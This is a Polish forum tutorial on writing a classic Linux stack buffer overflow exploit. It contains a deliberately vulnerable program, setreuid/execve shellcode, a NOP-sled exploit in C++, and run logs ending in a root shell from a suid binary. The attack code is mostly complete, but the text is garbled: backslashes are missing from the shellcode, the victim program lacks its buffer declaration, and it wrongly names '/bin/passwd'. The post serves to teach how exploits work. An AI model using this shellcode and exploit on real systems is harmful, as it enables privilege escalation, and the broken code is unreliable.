Piszemy Exploita

sinis

Użytkownik
Dołączył
Wrzesień 3, 2006
Posty
958
Witam
smile.gif



Postanowiłem, że napiszę tutorial nt. pisania exploitów, ponieważ wcześniej takowego nie zauważyłem. Uzupęłnię trochę wiedzę na forum
<
Wszystko zostanie wykonane na systemie Ubuntu 6.06 live CD, bo na 7.10 jest zabezpieczenie przy zmianie stosu. Linux to idealny system to rozpoczęcią nauki ;p Przydatna będzie lekka znajomość ASMa.

1. Co to w ogóle exploit ??
2. Co to shellcode
3. Przykładowy program - ofiara
4. Piszemy shellcode
<

5. Przykładowy exploit


1. Na początek warto wiedzieć co to jest tajemniczy sploit
<

Exploit to program mający na celu wykorzystanie błędów w oprogramowaniu.
Najczęściej program taki wykorzystuje jedną z kilku popularnych technik, np. buffer overflow, heap overflow, format string. Exploit wykorzystuje występujący w oprogramowaniu błąd programistyczny i przejmuje kontrolę nad działaniem procesu – wykonując odpowiednio spreparowany kod (ang. bytecode), który najczęściej wykonuje wywołanie systemowe uruchamiające powłokę systemową (ang. shellcode) z uprawnieniami programu, w którym wykryto lukę w zabezpieczeniach. Ludzi używających exploitów bez podstawowej wiedzy o mechanizmach ich działania nazywa się script kiddies. (Źródło - Wikipedia)

Od siebie dodam jak exploit przejmuje kontrolę. Przy kopiowaniu buforu (np. funkcją strcpy) nie jest przestrzegany limit długości buforu, tylko dane są kopiowane do napotkania bajtu zerowego (NULL'a). Oznacza on zakończenie jakiegoś łańcucha znaków. Kopiowanie takie odbywa się w specjalnym miejscu pamięci - na stosie. Przy przekraczaniu maksymalnej pojemności bufora, dane "zalewają" (stąd overflow) inne istotne dla systemu operacyjnego dane, m.in. adres powrotny z funkcji, która dokonała przepełnienia. Najciekawsze jest efekt samego nadpisania adresu. Gdy w buforze jest shellcode, a jego adres trafi w miejsce adresu powrotnego, sterowanie trafia w "ręce" shellcodu, który zazwyczaj uruchamia nową powłokę systemową z uprawnieniami root'a.


2. Teraz warto coś niecoś powiedzieć o shellcode (i znowu Wikipedia ;p)
Shellcode - anglojęzyczny zlepek słów shell (powłoka) oraz code (kod) oznaczający prosty, niskopoziomowy program odpowiedzialny za wywołanie powłoki systemowej w ostatniej fazie wykorzystywania wielu błędów zabezpieczeń przez exploity. Dostarczany jest on zwykle wraz z innym wejściem użytkownika; na skutek wykorzystania luki w atakowanej aplikacji, procesor rozpoczyna wykonywanie shellcode, pozwalając na uzyskanie nieautoryzowanego dostępu do systemu komputerowego lub eskalacja uprawnień.

Shellcode pisze się w asemblerze
<
- to tak od siebie.


3. Pora napisać przykładowy program - ofiarę, żeby było wiadomo o co tu właściwie biega. Program napiszę w C++ (w końcu to mój ulubiony HLL
<
)


Kod:
// Przykładowy programik ofiara;)

// vuln.cpp



int strlen(const char * ptr);

void strcpy(char *target, const char * source);



int main(int argc, char *argv[])

{

 if (argc != 2)

 buffer[500];

 strcpy(buffer, argv[1]);

 return 0;

}

int strlen(const char * ptr)

{

 for (int i = 0;; i++)

  if (ptr[i] == '0')

   return i;

}

void strcpy(char *target, const char * source)

{

 int len = strlen(source);

 for (int i = 0; i < len; i++)

 {

  target[i] = source[i];

 }

}

Przykład wykonania takiego kodziku
smile.gif

Kod:
g++ vuln.cpp -o vuln

ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./vuln asdf
Nic ciekawego się nie dzieje. Ale co się stanie w przypadku przepełnienia stosu ?? Posłużę się perlem, w celu przepełnienia buforu.
Kod:
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./vuln `perl -e 'print "A"x600;'`

Segmentation fault
Jak widać 600 bajtów wystarczyło aż nadto żeby nadpisać stos.

W przypadku wywołania tego programu, stos wygląda +/- tak:
Kod:
Wyższe adresy

|Jakieś dane|

| EIP       | Adres powrotny (EBP+4)

| EBP       | EBP (zachowany wskaźnik stosu (ESP))

|buffer[]   | EBP-500

Niższe adresy
Rejestr EIP (Extended Instruction Pointer) to nasz adres powrotny, który nadpisujemy. Rejestr EBP (Extended Base Pointer) to zachowany wcześniej ESP (Extended Stack Pointer), który tam siedzi w celu odtworzenia stanu stosu sprzed uruchomienia funkcji/procedury.

4. Ofiarę mamy, ale trzeba coś jej podrzucić, żebyśmy mogli przejąć kontrolę nad systemem...
Shellcode napiszemy w asemblerze. Co nam będzie potrzebne??
- kompilator - NASM
- dwie funkcje - setreuid(uid_t ruid, uid_t euid) i execve(). Pierwsza posłuży do przywrócenia uprawnień administratora (niektóre programy na rzecz bezpieczeństwa takowe uprawnienia "wyłączają"), druga posłuży do uruchomienia powłoki roota (/bin/sh).

Kilka zasad dotyczących shellcodu:
- Nie może posiadać bajtów zerowych, bo zostanie ucięty przy kopiowaniu
- Musi się zmieścić w buforze i musi się w nim znajdować, żeby mógł być wykonany
- Trzeba znać adres shella w pamięci - tym się zajmiemy później.

Czas na uniwersalny shellcode (w postaci asma ;p)
Kod:
BITS 32



xor eax, eax; zerujemy eax

mov al, 70; setreuid

xor ebx, ebx; ruid

xor ecx, ecx; euid

int 80h; Wywołujemy funkcję setreuid



jmp short two

one:

xor eax,eax

pop ebx

mov [ebx+7],al

mov [ebx+8], ebx

mov [ebx+12], eax

lea ecx, [ebx+8]

lea edx, [ebx+12]

mov al, 11; execve

int 80h; no to mamy powłoczkę :)



two:

call one

db '/bin/sh'
Kod może się wydawać trochę niezrozumiały, ale teraz po krótce go trochę rozjaśnię
smile.gif

Kod:
xor eax, eax; zerujemy eax
Jak wiadomo w asmie można zerować rejestry w sposób mov eax, 0, ale to zostawi w shellcode NULL'e więc ta metoda odpada. Metoda XOR rej1, rej2 opiera się na różnicy symetrycznej, gdy wszystko się zgadza wynik wynosi 0 i ląduje w rej1.
Kod:
mov al, 70; setreuid

xor ebx, ebx; ruid

xor ecx, ecx; euid

int 80h; Wywołujemy funkcję setreuid
Tutaj wsadzamy w eax (część al - 1bajtowa) numerek funkcji systemowej nr 70. Jest to funkcja setreuid. Pierwszy jej parametr to prawdziwy identyfikator użytkownika, a drugi to efektywny. Oba ustawione na zero, bo chcemy prawa roota
<
Teraz wytłumaczę dlaczego mov al,70, a nie mov eax,70. Tutaj znowu chodzi o NULL'e. Rejestr EAX ma 4 bajty, a liczba 70 zmieści się w jednym. Trzeba jakoś wypełnić puste miejsca, więc w nich lądują zera. W tym wypadku trzeba użyć mniejszego rejestru (EAX dzieli się na AX + 32bity, AX dzieli się na AL i AH - oba 1bajtowe). W rejestrze AL zmieści się 70 więc wszystko jest OK.

Kod:
jmp short two

one:

;...

two:

call one

db '/bin/sh'
A po co ten dziwny fragment ?? To dlatego, że shellcode musi być zamodzielnym kodem binarnym, a nie programy. W programie znalazłoby się miejsce dla ciągu /bin/sh w sekcji .data, ale my takiej sekcji nie posiadamy. Taki ciąg znaków nie może być instrukcją dla procesora więc jest pomijany, zaraz wyjaśnię jak.
1. Wykonywany jest rozkaz skoku do etykiety two, skok nie zostawia adresu powrotnego na stosie więc sam roboty nie odwali.
2. Instrukcja wywołania (call) odwołuje się do etykiety one, przy czym zostawia na stosie adres powrotny, a tym adresem jest właśnie adres naszego ciągu znaków
<

3. Później zostaje pobrać adres ciągu ze stosu i dodać mu bajt zerowy.

Kod:
one:

xor eax,eax

pop ebx

mov [ebx+7],al

mov [ebx+8], ebx

mov [ebx+12], eax

lea ecx, [ebx+8]

lea edx, [ebx+12]

mov al, 11; execve

int 80h; no to mamy powłoczkę :)
Na początku zerujemy eax, aby posiadać bajt zerowy dla ciągu znaków. Zdejmujemy adres ciągu, który ląduje w rejestrze EBX. [ebx+7] oznacza adres początku rejestru EBX + 7 bajtów, co wskazuje na koniec ciągu /bin/sh, gdzie ląduje bajt zerowy z rejestru AL. Dalej do rejestru EBX, lądują adresy rejestrów EBX (samego siebie xD) i EAX, a to dlatego, że funkcja execve przyjmuje jako pierwszy parametr adres ciągu (nazwy progsa, który ma odpalić), w drugim i trzecim parametrze lądują wskaźniki do wskaźników, czyli char *argv[] i char *envp[]. Wskaźniki te ładują instrukcje lea.
Na końcu zostaje wsadzenie do rejestru AL, numeru funkcji systemowej i odpalenie powłoczki.

Po tym napisaniu shella asemblujemy go
Kod:
nasm shellcode.asm -o shellcode
Otwieramy plik shellcode programem hexedit (lub innym edytorem szesnastkowym) i kod szesnastkowy sprowadzamy do postaci:
Kod:
x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88x43x07x89x5bx08x89x43x0cxb0x0bx8
dx4bx08x8dx53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73x68
Czyli przed każdym bajtem dodajemy x, usuwamy wszystkie spacje (jeśli tak skopiowaliśmy) i zmieniamy duże litery na małe.

No to shellcode mamy gotowy
smile.gif



5. Przykładowy sploit
smile.gif

Jak już wcześniej pisałem, musimy znać adres bufora w pamięci. Będzie się on kołatał gdzieś koło adresu wskazywanego przez ESP. Pewna funkcja zwróci nam zawartość tego rejestru. Odejmując od tego adresu jakiś offset można ustalić adres każdej zmiennej znajdującej się na stosie. Ale czy napewno trafimy w odpowiedni adres ?? Moglibyśmy próbować do upadłego aż trafimy, istnieje jednak technika która nam to znacznie ułatwi, zowie się Pułapką NOP. Pułapka NOP to kilka instrukcji NOP(0x90), które nie robią nic, po prostu adres wykonania będzie przechodził przez kolejne bajty tej pułapki do napotkania shellcodu. Im więcej NOPu tym większa szansa na trafienie
<

Teraz coś o adresie powrotnym. Gdyby wstawić jeden adres na końcu buforu (czy - gdzieś pod koniec) nie wiemy czy poprawnie nadpisze EIP. W celu pewnego nadpisania wypełnimy koniec buforu tym adresem.
Czas na kodzik
smile.gif

Kod:
// Przykładowy exploit

#include <iostream>



using namespace std;



char shellcode[] =

 "x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88"

 "x43x07x89x5bx08x89x43x0cxb0x0bx8dx4bx08x8dx53x0c"

 "xcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73x68";



unsigned long sp(void) // Funkcja zwraca nam rejestr ESP

{

 __asm__("movl %esp,%eax");

}



int main(int argc, char *argv[])

{

 if (argc != 2)

 {

  cout << "Uzycie: " << argv[0] << " <offset>nn";

  return 0;

 }



 char *buffer;

 int offset, i;

 unsigned long ret, esp;



 buffer = new char[600]; // 600 bajtów dla buforu

 offset = atoi(argv[1]);

 esp = sp();

 ret = esp - offset; // Adres, którym nadpiszemy EIP



 cout << "ESP: " << esp << endl;

 cout << "Offset: " << offset << endl;

 cout << "Ret: " << ret << endl;



 // Wypełnienie bufora adresami powrotnymi do shellcodu

 for (i = 0; i < 600; i+=4)

  *(unsigned long*)&buffer[i] = ret;



 // Wypełnienie 300 pierwszych bajtów bufora NOP'ami

 memset(buffer, 0x90, 300);

 // Wstawienie do bufora shellcode'u

 memcpy(&buffer[300], shellcode, strlen(shellcode));



 buffer[599] = '0'; // Zakończenie bufora

 cout << "Buffer: " << strlen(buffer) << endl;



 execl("./vuln", "vuln", buffer, 0);

 return 0;

}

Kodzik gotowy.
Kod:
g++ exploit.cpp -o exploit

Pora na próbę, czyli - sprawdźmy cośmy narobili
Kod:
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 500

ESP: 3220720248

Offset: 500

Ret: 3220719748

Buffer: 599

Segmentation fault

ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 600

ESP: 3220915368

Offset: 600

Ret: 3220914768

Buffer: 599

Segmentation fault

ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 700

ESP: 3215605224

Offset: 700

Ret: 3215604524

Buffer: 599

sh-3.1$ whoami

ubuntu

sh-3.1$ exit
Co widzimy ?? Po trzeciej próbie (przy offsecie 700), shellcode zostaje wykonany. Jednak nadużycie jest właściwie do niczego. Dlaczego ? Program - ofiara nie ma ustawionego bitu suid, czyli nie należy do roota i nie ma jego praw.
Ustawmy je
Kod:
sudo chown root vuln

sudo chmod +s vuln
Teraz nadużycie da nam pożądane skutki
<

Kod:
ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 700

ESP: 3220409608

Offset: 700

Ret: 3220408908

Buffer: 599

Segmentation fault

ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 600

ESP: 3212830344

Offset: 600

Ret: 3212829744

Buffer: 599

Segmentation fault

ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 800

ESP: 3214399848

Offset: 800

Ret: 3214399048

Buffer: 599

sh-3.1# whoami

root
Udało się
<
Mamy prawa admina i możemy robić co się nam podoba. Można dodać własnego usera do /bin/passwd z prawami admina itp...


To już koniec, mam nadzieję, że niektórym userom się rozjaśni co to exploit, jak działa i jak jest zbudowany. Przepraszam za błędy


Pozdrawiam
Sinis

PS Proszę Moderatorów o przeniesienie do odpowiedniego działu
<
 
Do góry Bottom